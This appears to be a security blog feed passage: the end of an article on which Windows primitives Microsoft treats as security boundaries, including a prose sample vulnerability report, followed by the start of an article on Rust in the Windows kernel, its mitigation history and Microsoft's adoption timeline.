Expect the reply to be operationally predictable. If the finding is on the feature side and severity is not Critical, the reply will be "by design / consider for next version." Plan publication accordingly. A 90-day Project Zero clock that lines up with a probable "by design" reply is not a failed disclosure -- it is a successful one, because the reply was predicted in advance [@project-zero-9030].
For bounty-eligible classes, read the program-scope page carefully. Hyper-V ($5K - $250K) [@msrc-bounty-hyperv], Windows Insider Preview ($500 - $100K) [@msrc-bounty-wip], Edge ($250 - $30K) [@msrc-bounty-edge], plus the Identity / Cloud / M365 / Azure programs [@msrc-bounty-root]. The boundary-payout mapping is dominantly tight; the program-scope page tells you whether the bounty fires.
If the reply surprises you, the "exceptions may be made" clause is the framing [@msrc-criteria]. A feature defeat that does receive a bulletin does not contradict the doctrine; it invokes the exception. A boundary crossing that does not receive a bulletin invokes the exception in the other direction (severity below bar). Either way, the doctrine is not broken; the exception clause is doing its job.

Note: Before you spend three weeks reverse-engineering a primitive, spend three minutes reading the relevant Microsoft Bounty Program scope page. The page tells you, in plain language, whether Microsoft considers the primitive class you are attacking to be bounty-eligible. If the bounty program does not list your primitive class -- if there is no UAC-bypass bounty, no Defender-bypass-by-detection-evasion bounty, no PPL-bypass bounty -- the boundary classification has already told you the operational answer. You can still publish the research; you just know the disposition in advance.

Subject: Boundary violation -- Hyper-V guest-to-host escape via
         root-partition heap UAF (Critical, RCE, default-on)

Section 1 -- Boundary claim
  This issue violates the Hyper-V virtual machine (guest-to-host)
  security boundary as enumerated in the Microsoft Security Servicing
  Criteria for Windows. The attack flow: a malicious L1 guest VM
  triggers a use-after-free in a Hyper-V root-partition component
  reachable via VMBus; the freed allocation is reclaimed with
  attacker-controlled data via a follow-up VMBus message; the
  resulting type confusion yields remote code execution in the host
  root-partition context with SYSTEM privileges.

Section 2 -- Severity argument
  Per the Microsoft Vulnerability Severity Classification for Windows
  bug bar, this is Critical severity:
    - Vulnerability type: Remote Code Execution
    - Server severity: Critical (server pivot: Hyper-V host is by
      definition a server role)
    - Client severity: Critical (client pivot: same primitive on
      client Hyper-V used by Windows Sandbox / WSL2)
    - Default-on: Yes (the affected root-partition component ships
      and runs by default on all Hyper-V hosts)
    - User interaction required: No
    - Attack complexity: Low

Section 3 -- Reproduction
  - Attached: minimal L1 guest exploit binary (Linux x86_64),
    deterministic on Windows Server 2025 Hyper-V build 26100.4061.
  - Attached: WinDbg crash dump showing the UAF and the controlled
    write primitive.
  - Attached: video of the SYSTEM shell on the host opened by an
    unprivileged user in the guest.

Section 4 -- Bounty eligibility
  Microsoft Hyper-V Bounty Program scope: L1 Guest Escape -- RCE on
  the host from the guest. Requested payout tier per program scope
  page.

That is the checklist. The doctrine is internalised. You can predict the disposition of any Windows finding from the boundary list, the severity scheme, and the exception clause. The only thing left is the closing -- the return to the researcher we opened with.

14. Frequently Asked Questions and Closing

Return to the researcher we opened with. Their "UAC bypass" was filed against a primitive that was never on the boundary list, and the MSRC reply was operationally correct, not a cop-out. The doctrine the reply invoked is the one this article has just walked.

No. UAC was never officially classified as a boundary. Mark Russinovich's June 2007 *Inside Windows Vista User Account Control* article stated verbatim that *"UAC elevations are conveniences and not security boundaries"* -- two years before the January 2009 Long Zheng and Rafael Rivera Windows 7 beta UAC auto-elevation disclosure [@russinovich-vista-uac-wayback]. What Microsoft changed in 2009 was the *implementation* (UAC slider promoted to High integrity; UAC-settings changes prompting), not the *classification*. Russinovich's July 2009 follow-up article restated the original position [@ms-learn-russinovich-win7]. No. "By design" means the doctrine explicitly chose not to service this primitive class as a boundary violation. Microsoft may still harden the feature in a future Windows release, ship out-of-band Canary build mitigations (as with PPLFault build 25941) [@landau-pplfault], or assign CVEs to specific exploitation chains that cross *other* boundaries (as with Windows Downdate's CVE-2024-21302) [@leviev-downdate-update]. The finding is interesting research. It simply does not receive a CVE under the published doctrine. Probably not, but the Administrator Protection elevation *path* is now a boundary [@ms-learn-admin-protection], and the Landau / Leviev disclosures keep pressure on the unmoved part of the classification. The structural impossibility argument (admin loads drivers; drivers run in kernel) makes a doctrinal reclassification unlikely without a deeper architectural change. The most plausible architectural change would be the extension of VTL Enclaves and VBS Trustlets to host security-critical kernel components, such that *admin-to-VTL1* becomes the boundary even as *admin-to-VTL0-kernel* stays a feature [@ms-learn-vbs-ci]. No. Defender bypasses that do not also cross another boundary typically do not receive bulletins. Tavis Ormandy's 2014 to 2017 Defender disclosures earned CVEs because the bugs were memory-corruption primitives reachable from attacker-controlled inputs over the network -- they crossed the network boundary, not because the Defender bypass itself was a boundary crossing. The CVE-2017-0290 *crazy bad* MsMpEng RCE, addressed by Microsoft Security Advisory 4022344 (May 8, 2017), is the flagship instance [@ms-advisory-4022344]. A clever signature-evasion technique alone earns "by design." No. It has grown by accretion: Session 0 isolation (Vista, 2007); AppContainer / Edge sandbox (Windows 8 / 1607, 2012 to 2016); VBS / VTL (Windows 10 1507, 2015); Administrator Protection elevation path (2025) [@ms-learn-admin-protection]. The list is expected to keep growing. Candidate future entries include cloud-side primitives (Conditional Access, Primary Refresh Token) and possibly an AI-mediated action-expansion entry. Not on its own. BYOVD only earns a Microsoft CVE if a second primitive (network, user, AppContainer) is also crossed, or if the *driver vendor* receives the CVE. The Microsoft *Vulnerable Driver Blocklist* is feature hardening that ships in Windows updates, but the loadability of a properly-signed driver by an administrator is not a boundary crossing under the doctrine [@leviev-downdate-update]. No. AM-PPL is a *feature*. The Microsoft Learn page documents PPL as a hardening mechanism for anti-malware services [@ms-learn-am-ppl], and Gabriel Landau's *Inside Microsoft's Plan to Kill PPLFault* preserves the verbatim MSRC position: *"Microsoft does not consider PPL to be a security boundary"* [@landau-pplfault]. Microsoft will still ship PPLFault-class mitigations as feature hardening (build 25941 was the canary), but PPL-bypass reports that do not also cross another boundary do not earn standard Patch Tuesday bulletins.

Closing

The Administrator Protection addition is the most interesting recent move because it closes the elevation-path gap that the entire UAC era could not close. Microsoft added the SMAA elevation path to the boundary table while leaving the admin-to-kernel primitive on the feature side. The result is a two-tier classification: UAC bypasses still do not get CVEs, but Administrator Protection bypasses do -- and Forshaw's nine pre-GA disclosures, all of which Microsoft fixed (not "by design"-replied) are the public-record evidence that the new classification is operationally enforced [@pz-tracker-432313668]. The 2026 frontier is cloud-side and AI-mediated. The boundary list is still growing.

Key idea: The doctrine of what is a boundary is the silent gatekeeper of MSRC triage. Reading it is the difference between filing a useful report and getting back "by design -- UAC is not a security boundary." Every Windows security engineer should be able to recite the boundary list from memory. After this article, you can.

The boundary list. From memory. Now.

Rust in the Windows Kernel: A Field Guide to the 2024-2026 Memory-Safety Refit

noreply@paragmali.com (Parag Mali) — Sat, 23 May 2026 00:00:00 GMT

**Rust ships in the Windows kernel today.** The binary is `%SystemRoot%\System32\win32kbase_rs.sys`, first surfaced in Insider Preview Build 25905 on 12 July 2023 and most recently in the news through Check Point Research's May 2025 "Denial of Fuzzing" disclosure. The realistic ten-year trajectory is **not** a Windows rewrite. It is "memory-safe by default for newly written code" plus targeted rewrites of high-blast-radius modules, with the unsafe-FFI boundary as the irreducible audit frontier. This article is a primary-sourced field guide to what actually shipped from BlueHat IL 2019 through Windows 11 24H2 in 2026, what did not, and what the next decade looks like.

1. The Blue Screen That Wasn't a Bug

On 28 May 2025, Microsoft shipped KB5058499 to patch a kernel bug in Windows 11 24H2 [@kb5058499]. The bug was an out-of-bounds array access in a Rust function called region_from_path_mut() inside the binary %SystemRoot%\System32\win32kbase_rs.sys [@cybersecuritynews]. Rust correctly detected the access. Because the detection fired at high IRQL inside a kernel binary compiled with panic = "abort", the response was a system-wide blue screen [@checkpoint-dof].

Read that again. Rust. In ntoskrnl's neighbourhood. In production. Detecting a memory-safety violation. Panicking. Bugchecking the box.

The class of programming error -- buffer overflow, use-after-free, type confusion, integer overflow, double-free, uninitialised read -- where unsafe memory access leads to undefined behaviour. For two decades the Microsoft Security Response Center has reported that roughly seventy percent of Microsoft's CVE-assigned vulnerabilities come from this class. The first Windows kernel binary written in Rust. It contains the Win32k GDI region and shape engine, and after 2025 includes portions of the EMF and EMF+ metafile parsing path. The `_rs` suffix is Microsoft's internal convention for Rust-implemented kernel binaries. You can verify the file exists on any modern Windows 11 install by checking `%SystemRoot%\System32\win32kbase_rs.sys`.The first public ship was Windows 11 Canary-channel Insider Preview Build 25905 on 12 July 2023. The Windows Insider blog called out the change explicitly: "This preview shipped with an early implementation of critical kernel features in safe Rust" [@insider-25905].

The Check Point Research write-up tells the story tightly [@checkpoint-dof]. A handcrafted Enhanced Metafile Format Plus (EMF+) record -- specifically an EmfPlusDrawBeziers shape with a mismatched point count -- arrives at the kernel by way of a normal-looking NtGdiSelectClipPath syscall. The metafile parser hands the malformed point array to region_from_path_mut(), the Rust function that converts a Bezier path into a clipping region. Indexing into the array, Rust observes the index is out of bounds. Safe Rust's bounds check fires. core::panicking::panic_bounds_check runs. And because the binary lives in kernel mode, the panic does not unwind: it aborts [@esecurityplanet]. The bugcheck code is SYSTEM_SERVICE_EXCEPTION [@cybersecuritynews].

The Windows kernel's per-CPU priority level, ranging from PASSIVE_LEVEL up through DIRQL. At IRQL ≥ DISPATCH_LEVEL the scheduler cannot run, paged memory cannot be touched, and almost no recovery path is available. A panic at high IRQL has nowhere to go except the system-wide bugcheck. The Rust compilation profile setting that converts any runtime panic into an immediate process abort rather than stack unwinding. It is mandatory for `no_std` kernel binaries because there is no unwinder, no `std::panic::catch_unwind`, and no way to clean up locks, allocations, or interrupt state held at the point of panic.

Microsoft classified the issue as a moderate-severity denial of service. The patch tightened the bounds check upstream, kept the Rust panic as the last-resort backstop, and shipped on. There is no CVE-2025 RCE here, no privilege escalation, no infoleak: this Rust panic was the security boundary doing exactly what it was designed to do, and the price was a controlled BSOD rather than a memory-corruption primitive in attacker hands [@checkpoint-dof].

That single bug carries two non-obvious claims that the rest of the article will unpack. First, this is the largest language-level memory-safety refit in NT's roughly thirty-three-year history, distinct in kind from /GS stack cookies, Address Space Layout Randomization (ASLR), Control Flow Guard (CFG), Hypervisor-protected Code Integrity (HVCI), or Intel Control-flow Enforcement Technology (CET). All of those are mitigations that raise the cost of exploiting a memory-safety bug. Rust eliminates the bug class in the modules it covers. That is a different kind of fix.

Second, the realistic ten-year shape is "memory-safe by default for new code," not "rewrite Windows." Microsoft's distinguished engineer Galen Hunt got in trouble in December 2025 for a LinkedIn post about an internal "1 engineer, 1 month, 1 million lines of code" research target [@register-2025-12-24]. Frank X. Shaw, head of Microsoft's communications, confirmed within days that the company has no plan to rewrite Windows 11 using AI [@windowslatest-galen; @infoworld-not-rewriting]. The trajectory is policy, not project.

So: Rust in the Windows kernel. Real binary, real BSOD, real patch, real timeline. How did we get here, and why is a Rust-detected memory-safety violation still a system-wide crash?

2. The 70-Percent Number and Why Mitigations Plateaued

In early February 2019, in Tel Aviv, Matt Miller stood up at BlueHat IL and asked the question that anchored the next seven years of Microsoft's security strategy. After two decades of Microsoft Security Response Center (MSRC) triage, what fraction of vulnerabilities are still memory-safety bugs? His answer, drawn from a decade of CVE data: about seventy percent [@miller-bluehat-2019; @infoq-mitigating].

The number was not new in 2019. The MSRC's own July 2019 essay re-stated it in plain prose: "approximately 70% of the vulnerabilities Microsoft assigns a CVE each year continue to be memory safety issues" [@msrc-proactive-2019]. It had not moved in a decade despite /GS stack cookies, Data Execution Prevention (DEP), ASLR, CFG, Hypervisor-protected Code Integrity, and Intel CET [@msrc-safer-2019]. Mark Russinovich repeated the number at RustConf 2025 in Seattle: "about 70% over the past two decades" [@newstack-russinovich].

A note on attribution. The originating talk was Miller's, not David Weston's. The press cycle following Weston's 2023 BlueHat IL announcement often credited him with the 70% figure. Weston and Russinovich operationalised it; Miller and the MSRC published it. The deck is in the microsoft/MSRC-Security-Research repository on GitHub under the 2019_02_BlueHatIL directory; you can read it today [@miller-bluehat-2019].Miller was MSRC's Partner Security Software Engineer at the time of the talk. He has since moved on, but Microsoft kept the BlueHat IL 2019 deck in the public security-research repo as a primary artefact for the figure.

Note: The 70% figure was roughly the same in 2009 as in 2019. The mitigations stack had absorbed two decades of compiler, OS, and hardware investment without moving the curve. That is why the question shifted from "how do we make exploitation harder" to "how do we eliminate the bug class itself."

To see why the curve stayed flat, walk the supersession history. Each generation of mitigation closed a specific exploitation primitive. None closed a bug class.

/GS (Visual Studio .NET 2002/2003) inserted a per-function stack canary to detect linear stack-buffer overruns that overwrote a saved return address [@learn-gs]. It defended only the prologue-epilogue window of stack frames. Heap overflows, non-adjacent stack writes, type confusion, and info-leak-then-corrupt all walked around it.

DEP / NX (Windows XP Service Pack 2, 2004) marked data pages non-executable so attackers could not jump into a buffer they had written [@learn-dep]. Hovav Shacham's 2007 paper on Return-Oriented Programming showed how to compose Turing-complete payloads from existing executable code without ever introducing a new instruction [@shacham-rop-2007]. DEP raised exploit cost. It did not close the bug class.

ASLR (Windows Vista, 2006) randomised module, heap, and stack base addresses so attackers could not pre-compute jump targets [@learn-aslr]. The defeat was a single information-disclosure primitive away. Every modern Windows exploit chain begins with an infoleak.

CFG (Windows 8.1, 2014) restricted indirect calls to a per-binary set of valid call targets [@learn-cfg]. XFG (announced at BlueHat Shanghai 2019, /guard:xfg compiler support shipped in MSVC in 2020, available in Windows 11 from 2021 as an opt-in compile-time flag, not enabled by default for third-party binaries) tightened that to type-signed indirect call sites [@quarkslab-xfg; @mcgarr-examining-xfg]. CET shadow stack (broadly shipping in Windows 11 in 2021) sealed the return-address half of the same family on hardware that supports it [@msft-cet-shadow]. All three are forms of Control-Flow Integrity, and all three by construction defend the control-flow graph only.

The family of compile-time and hardware mitigations -- including CFG, XFG, and CET shadow stack -- that restricts indirect control transfers (jumps, calls, returns) to a per-binary set of valid targets. CFI is, by construction, blind to attacks that corrupt program data without changing the control-flow graph. A class of exploitation in which an attacker corrupts program *data* without changing the control-flow graph. Hu et al. proved at IEEE Symposium on Security and Privacy 2016 that DOP is Turing-complete -- meaning an attacker who can corrupt the right pieces of data can compute arbitrary functions while the protected program faithfully follows its original control flow [@hu-dop-2016].

That theorem is the structural ceiling. If DOP can express arbitrary computation while the program's control-flow graph remains unviolated, then no amount of CFI can close the bug class. Every CFI variant could be implemented perfectly tomorrow and the 70% figure would still not move. The MSRC's July 2019 "We need a safer systems programming language" essay said the quiet part aloud: "no matter the amount of mitigations put in place, it is near impossible to write memory-safe code using traditional systems-level programming languages at scale" [@msrc-safer-2019].

The MSRC essay -- written by Matt Miller's team in the same July 2019 cycle as the BlueHat IL talk -- ends with a striking concession: "rather than providing guidance and tools for addressing flaws, we should strive to prevent the developer from introducing the flaws in the first place" [@msrc-safer-2019]. That sentence is the strategic pivot. After two decades of *mitigation* investment, Microsoft publicly accepted that mitigations could not solve the problem alone. The only structural fixes are at the language layer (eliminate the unsafe primitives) or the hardware layer (enforce safety at every dereference). Hu et al.'s DOP theorem was the formal moment "mitigations are necessary but not sufficient" stopped being a slogan and became math.

The supersession trace is compact enough to fit in one table.

Generation	Mitigation	Year	Closes	Defeated by	Residual bug class
G1	`/GS` stack canary	2002/2003	Linear stack overruns past return address	Heap overflows, non-adjacent writes, infoleaks	Memory corruption (all classes except narrow stack)
G2	DEP / NX	2004	Code injection into data pages	ROP (Shacham 2007)	Memory corruption (control transferred to existing code)
G3	ASLR	2006	Pre-computed gadget addresses	Information-disclosure primitives	Memory corruption (after infoleak)
G4	CFG (default) / XFG (opt-in)	2014 / 2021	Arbitrary indirect call targets	Data-oriented programming (Hu 2016)	Data-only memory corruption
G4	CET shadow stack	2021	Return-address rewrites	DOP, non-return CFI bypass	Data-only memory corruption
G5	HVCI, Driver Verifier, WDAC	2015+	Unsigned/unverified driver code	Memory corruption in signed drivers	Memory corruption in trusted code
G6	Rust in the Windows kernel	2023+	The bug class itself, in covered modules	Bugs in `unsafe` blocks; panic-as-BSOD	Logic bugs, FFI invariant violations, DoS via panic

The cross-vendor data agrees. Chromium's own engineering reports peg roughly 70% of high-severity browser bugs as memory safety. Google's Android security team published in September 2024 that memory-safety vulnerabilities in Android dropped from 76% of total in 2019 to 24% in 2024 -- not by rewriting existing C and C++, but by writing new code in Rust [@google-android-2024]. The structural fix shows up in the data when it ships.

Key idea: Mitigations bound the cost of exploitation. Only a memory-safe language or capability hardware bounds the size of the bug class itself. After two decades, the 70% figure had not moved. The structural answer was no longer optional.

If the structural fix had to come from the language layer, why did Microsoft choose Rust -- and not the safer-systems-language it had been researching since 2006?

flowchart LR GS["/GS stack cookie
2002 / 2003"] --> DEP["DEP / NX
2004"] DEP --> ASLR["ASLR
2006"] ASLR --> CFG["CFG / XFG
2014 / 2021"] CFG --> CET["CET shadow stack
2021"] CFG --> HVCI["HVCI + WDAC
2015+"] CET --> Rust["win32kbase_rs.sys
Rust in kernel
2023"] HVCI --> Rust ASLR -.->|"defeated by infoleaks"| Bypass1["arbitrary primitives"] CFG -.->|"defeated by DOP, Hu 2016"| Bypass2["data-only attacks"] Rust ==>|"closes the bug class
in covered modules"| Win["memory-safe by default
for new code"]

3. Verona, windows-rs, and the Long Approach

Microsoft's first publicly-named safer-systems-language experiment was not Rust. It was Singularity, the Microsoft Research operating system Galen Hunt and Jim Larus described in ACM SIGOPS Operating Systems Review in April 2007 [@singularity]. Singularity was built in Sing#, a dialect of C# extended with software-isolated processes, contract-based channels, and manifest-based programs that the OS verified at install time. The idea was the same as Rust's: prove memory safety at the language level so the runtime cost of process isolation becomes negligible. Singularity worked. It also stayed in the lab.

A decade later, in 2019, Microsoft Research open-sourced Project Verona at github.com/microsoft/verona, a collaboration with Imperial College London and Uppsala University [@verona-github; @verona-msr]. Verona explores concurrent ownership in regions: where Rust's borrow checker tracks one owner per object, Verona lets multiple objects share a single region-level ownership lifetime, simplifying some concurrent patterns at the cost of additional runtime structure.Verona's region-based concurrent ownership lets multiple objects share a single ownership lifetime. The academic publications appear at OOPSLA and PLDI. The repository README is explicit that the project is "not ready to be used outside of research." Verona remains alive as research. It has not been productised.

So why did Rust win against two memory-safe languages of Microsoft's own design?

The answer is adoption. Singularity and Verona were technically interesting; the community around them was Microsoft Research. Rust came with crates.io, a stable compiler, a community of working programmers, a foreign-function-interface story, and -- as of January 2020 -- official Microsoft-maintained bindings. Microsoft Research kept its own safe-systems-language line for the questions Rust does not answer, and Microsoft the platform vendor met developers where they already were.

The pivot to Rust shows up in three threads.

Thread A -- the user-mode bindings. In January 2020, Microsoft published microsoft/windows-rs on GitHub, a set of idiomatic Rust bindings to the entire Win32, Windows Runtime, and Component Object Model surface generated on the fly from Windows-metadata projections. The README is exact: "the windows and windows-sys crates let you call any Windows API past, present, and future using code generated on the fly directly from the metadata describing the API" [@windows-rs-github]. The crate is strictly user-mode. The kernel bindings come later, in a different repository.The premise paragraph that originally framed this article conflated windows-rs with the kernel bindings. They are different repositories: microsoft/windows-rs is user-mode (Win32, WinRT, COM); microsoft/windows-drivers-rs is the kernel and driver bindings. We will look at the latter in section 4.3.

Thread B -- the institutional commitment. On 8 February 2021, Microsoft joined the Rust Foundation as a founding (Platinum) member, and announced it was forming an in-house Rust team to contribute compiler and tooling work [@msft-rust-foundation]. The same year, Microsoft began funding Ralf Jung's verification line at the Max Planck Institute for Software Systems -- the MIRI interpreter, the RustBelt proofs -- both of which give the formal teeth that distinguish "Rust is safer" from "Rust is provably safe in a specific sense."

Thread C -- the academic foundation. In April 2021, Jung, Jourdan, Krebbers, and Dreyer published "Safe Systems Programming in Rust" in Communications of the ACM [@cacm-jung-2021]. The paper builds on their RustBelt result at POPL 2018, which constructed the first formal, machine-checked safety proof for a realistic subset of Rust [@rustbelt-popl-2018; @rustbelt-popl-page]. The RustBelt theorem has a property no informal language design has: it is extensible. The project page states the result precisely: "for each new Rust library that uses unsafe features, we can say what verification condition it must satisfy" [@rustbelt-popl-page]. In plain language: safe Rust is type-sound by construction, and every unsafe block can be discharged separately by a per-library proof obligation.

That property -- a discharged proof obligation per unsafe block -- is the engineering hook that makes Rust-in-kernel tractable. The kernel is full of unsafe. There is no way around that fact; the kernel is the trusted base, the layer that touches raw pointers and hardware. But if every unsafe block has a local, statable proof obligation, then the engineering question shrinks from "is the language safe?" to "is the audit of these specific blocks correct?" That is a question reviewers can answer.

Singularity / Sing# and Verona are not the only Microsoft-adjacent safer-systems-language threads. The Cyclone project (AT&T / Cornell, mid-2000s) added region-based memory management to C; the Spec# / Code Contracts line (Microsoft Research, late 2000s) attached pre- and post-conditions to .NET methods. All three were technically attractive. None achieved industrial-scale adoption. The lesson Microsoft drew from those efforts -- visible in the windows-rs investment -- is that the surrounding toolchain and community trump language design. Rust came with crates.io and a working community; the Microsoft Research languages did not.

By early 2023 the four ingredients were in place: a user-mode-scale Rust footprint at Microsoft, executive commitment via the Foundation, a verification story with RustBelt-grade formal teeth, and a working windows-rs for the user-mode call sites. The pieces existed.

What did it take to put Rust inside the kernel itself?

4. Three Generations of Microsoft's Rust-in-Windows Effort

The 2019-to-2026 story falls naturally into three generations. Each one solves the problem the previous one identified.

flowchart TD subgraph G1["Generation 1 -- 2019 to early 2023: Prerequisites"] A1["Miller BlueHat IL 2019
(70 percent figure)"] A2["MSRC safer-systems essay
(July 2019)"] A3["windows-rs
(January 2020)"] A4["Rust Foundation founding
(February 2021)"] A5["Secure Future Initiative
(November 2023)"] end subgraph G2["Generation 2 -- March to July 2023: First ship"] B1["Weston BlueHat IL 2023
(March 29 to 30)"] B2["DWriteCore in user-mode Rust
(152K LOC)"] B3["win32kbase_rs.sys in kernel Rust
(36K LOC, behind flag)"] B4["Insider Build 25905
(July 12, 2023)"] end subgraph G3["Generation 3 -- 2024 to 2026: Expansion and toolchain"] C1["windows-drivers-rs public
(2024)"] C2["EMF parser in win32kbase_rs
(by May 2025)"] C3["Surface Rust drivers ship
(July 2025)"] C4["Russinovich RustConf 2025
(September 2 to 5, Seattle)"] C5["cargo-wdk on crates.io
(November 2025)"] end G1 --> G2 G2 --> G3

4.1 Generation 1 (2019 to early 2023): the prerequisites

Generation 1 was preparation. Four things had to land before Rust could ship in the kernel itself: Microsoft running Rust at user-mode scale internally; a working no_std kernel target (the Rust compilation profile that strips the standard library's OS-services assumptions so a binary can run in kernel context); a verification story credible enough for executive sign-off; and that sign-off itself.

The chronology is clean. January 2020: windows-rs ships [@windows-rs-github]. February 2021: Microsoft joins the Rust Foundation as a founding member [@msft-rust-foundation]. 2019 through 2022: Project Verona and Singularity supply the academic foundations and the in-house safer-systems-language credibility [@verona-github; @singularity]. April 2021: the Jung et al. Safe Systems Programming in Rust paper in CACM gives the public-facing formal warrant [@cacm-jung-2021]. November 2, 2023: Brad Smith and Charlie Bell launch the Secure Future Initiative (SFI), a company-wide commitment that explicitly names memory-safety-language adoption as a software-engineering pillar [@sfi-onissues; @sfi-secblog]. The March 6, 2024 update on SFI confirms the engineering follow-through after the Storm-0558 and Midnight Blizzard incidents [@sfi-march24].

The limitation of Generation 1 is in the name. Prerequisites. No Rust had shipped in the Windows kernel yet. DWriteCore was in user mode. windows-rs was in user mode. Verona was research. The next generation had to fire the actual gun.

4.2 Generation 2 (March to July 2023): the first ship

On 29 and 30 March 2023 in Tel Aviv, David "dwizzle" Weston, then Vice President of Enterprise and OS Security at Microsoft, took the BlueHat IL stage and announced two distinct Rust ports.BlueHat IL 2023 was held in Tel Aviv on 29 to 30 March 2023; the dominant English-language press coverage broke same-day on 27 April 2023 when an embargo lifted. The article uses 27 April 2023 throughout when the date in question is the public record rather than the talk itself. The Register's same-day write-up has the canonical quote set and used Weston's earlier "Director" title [@register-2023-04-27]. The article keeps the two ports strictly separate because conflating them is the most common error in the secondary coverage.

The first port was DWriteCore, the text-rendering and shaping engine that ships through the Windows App SDK. The Register's same-day coverage carried the line-of-code and performance numbers from Weston's deck -- we return to the exact counts in §6.2 -- but the load-bearing point at BlueHat IL 2023 was that DWriteCore is strictly user-mode code, not in the kernel [@register-2023-04-27].

The second port was the one that the article you are reading is mostly about: win32kbase_rs.sys, a kernel binary containing the Win32k GDI region and shape engine -- about 36,000 lines of Rust, behind a feature flag, with at least one syscall in the Windows kernel implemented in Rust [@register-2023-04-27]. Weston's verbatim line is the moment that mattered.

There's actually a SysCall in the Windows kernel now that is implemented in Rust. -- David Weston, BlueHat IL 2023 [@register-2023-04-27].

The first reader-verifiable artefact of that ship came on 12 July 2023. Windows 11 Canary-channel Insider Preview Build 25905 dropped, and the Windows Insider blog called out the change: "Rust in the Windows Kernel ... win32kbase_rs.sys contains a new implementation of GDI region" [@insider-25905]. From that moment forward, any reader with a recent Windows 11 Insider build could open Explorer at C:\Windows\System32, sort by name, and find win32kbase_rs.sys on disk. Generation 2 was a proof of existence. The binary was real. The syscall path it implemented was real. Some pieces ran behind a feature flag, but the cement had set.

The limitation of Generation 2 was that the toolchain was Microsoft-internal. External driver authors could not reproduce the build pipeline; the no_std kernel target had not been upstreamed to rust-lang/rust; the allocator shim that adapted GlobalAlloc onto ExAllocatePool2 lived in a private repository. Generation 3 had to address the third-party adoption question.

4.3 Generation 3 (2024 to mid-2026): expansion and toolchain rollout

Generation 3 has four threads running in parallel.

Thread 1: the public driver-development crate suite. Microsoft published microsoft/windows-drivers-rs -- the public repository of Rust crates for Windows driver development [@windows-drivers-rs; @heise-rust]. The repository contains six crates (wdk, wdk-sys, wdk-alloc, wdk-build, wdk-panic, wdk-macros) plus the cargo-wdk Cargo subcommand that wraps link.exe, inf2cat, signtool, and friends into a coherent Rust build. A companion sample repository microsoft/Windows-rust-driver-samples provides Rust ports of the canonical Windows Driver Samples [@windows-rust-samples]. The README of windows-drivers-rs is candid: the project is "still in early stages of development and is not yet recommended for production use" [@windows-drivers-rs]. It also pins LLVM 17 explicitly, because LLVM 18 introduced an ARM64 bindgen bug that breaks WDK header binding generation [@windows-drivers-rs].The windows-drivers-rs README specifically pins LLVM 17 because LLVM 18 has a bug that causes bindings to fail to generate for ARM64. The fix is expected in LLVM 19. This is the kind of detail that distinguishes a developer-preview toolchain from a production one.

Thread 2: the 2025 in-kernel Rust expansion. Between the 2023 ship and the May 2025 Check Point disclosure, the Rust footprint inside win32kbase_rs.sys grew. The growth surface that became publicly known is the Enhanced Metafile Format (EMF / EMF+) parsing path -- the code that converts a path of Bezier curves into a clipping region [@checkpoint-dof; @cybersecuritynews]. The Check Point disclosure documents region_from_path_mut() as Rust; the KB5058499 patch hardened the call site upstream of the Rust panic [@kb5058499; @esecurityplanet].The original article-focus paragraph speculated that the 2025 in-kernel expansion was the Win32k DirectDraw stack. No first-party Microsoft material identifies a DirectDraw Rust port. The publicly documented 2025 expansion is in the EMF / EMF+ metafile parser inside win32kbase_rs.sys. We follow the public record.

Thread 3: the first in-box Rust drivers. In July 2025, Microsoft's Surface team confirmed that several new Copilot+ Surface PCs ship with drivers written in Rust [@winbuzzer-surface; @thurrott-rust]. Microsoft's Melvin Wang wrote on the Windows Driver Development blog that "the Surface team has contributed further to the open-source windows-drivers-rs repository for driver development and shipped Surface drivers written in Rust" [@thurrott-rust]. By September 2025, The Register reported that no production third-party Rust driver had yet shipped through Windows Hardware Compatibility Program (WHCP) certification: CodeQL supports Rust in public preview at version 2.22.1, but only version 2.21.4 is "validated for use with WHCP" [@register-2025-09-04]. The certification path is being assembled in public.

Thread 4: the executive narrative. On 2 to 5 September 2025, Mark Russinovich -- Azure CTO, Deputy CISO, and Technical Fellow -- delivered the RustConf 2025 keynote in Seattle, titled "From Blue Screens to Orange Crabs: Microsoft's Rusty Revolution" [@rustconf-2025-prog; @newstack-russinovich; @itpro-rust]. The keynote made three claims that matter for this article. First, Rust is "mandated for new Azure components that handle untrusted input." Second, Microsoft is using Rust across "kernel components, a cryptography library (rustls-symcrypt), and ancillary components (DirectWrite)" plus Project Mu firmware, Caliptra, the Azure Integrated HSM, OpenVMM, and Hyperlight [@infoq-russinovich]. Third, the Check Point bug is success, not failure: a Rust panic that crashes the box is operationally better than a memory-corruption primitive that escalates privilege [@newstack-russinovich].The InfoQ piece that covers Russinovich's named-project list is dated May 2025 and is actually about his Rust Nation UK talk earlier that year, not RustConf 2025. The substantive content overlaps, but the venue is not the same. For RustConf 2025 itself, the primary references are the Rust Foundation program page and The New Stack's same-week summary [@rustconf-2025-prog; @newstack-russinovich].

One more thread to acknowledge: on 24 December 2025, a LinkedIn post by Microsoft distinguished engineer Galen Hunt triggered a press cycle around an internal "1 engineer, 1 month, 1 million lines of code" research target [@register-2025-12-24]. The picture was corrected within days by Hunt's own clarification and Frank X. Shaw's denial that Microsoft has any plan to rewrite Windows 11 using AI [@infoworld-not-rewriting; @windowslatest-galen]. The §9 Aside walks the story in full.

Three generations in, the toolchain is public, the binaries ship, the executive commitment is on the record, the certification path is being assembled, and the press has been corrected twice on the difference between research and roadmap. The pieces are in place. What is the insight that makes Rust-in-kernel tractable as an engineering policy?

5. Memory-Safe by Default for New Code + the Unsafe-FFI Boundary

The structural insight that emerged from Generations 2 and 3 is one Russinovich named explicitly at RustConf 2025: Rust adoption inside an existing C / C++ kernel of roughly thirty million lines -- a widely-cited engineering estimate; Microsoft has not published an exact figure -- is a policy decision, not a rewrite project [@newstack-russinovich]. The policy has two clauses. For new code, default to Rust. For existing code, rewrite the high-blast-radius surfaces -- the GDI region engine, the EMF parser -- but not the rest. Russinovich's framing at the keynote: Rust is "mandated for new Azure components that handle untrusted input" [@infoq-russinovich].

The new-code policy is empirically validated. The Android security team's September 2024 publication tracks the share of memory-safety vulnerabilities in Android over five years [@google-android-2024]. The headline curve looks like this.

Year	Memory-safety share of vulnerabilities
2019	~76%
2024	~24%

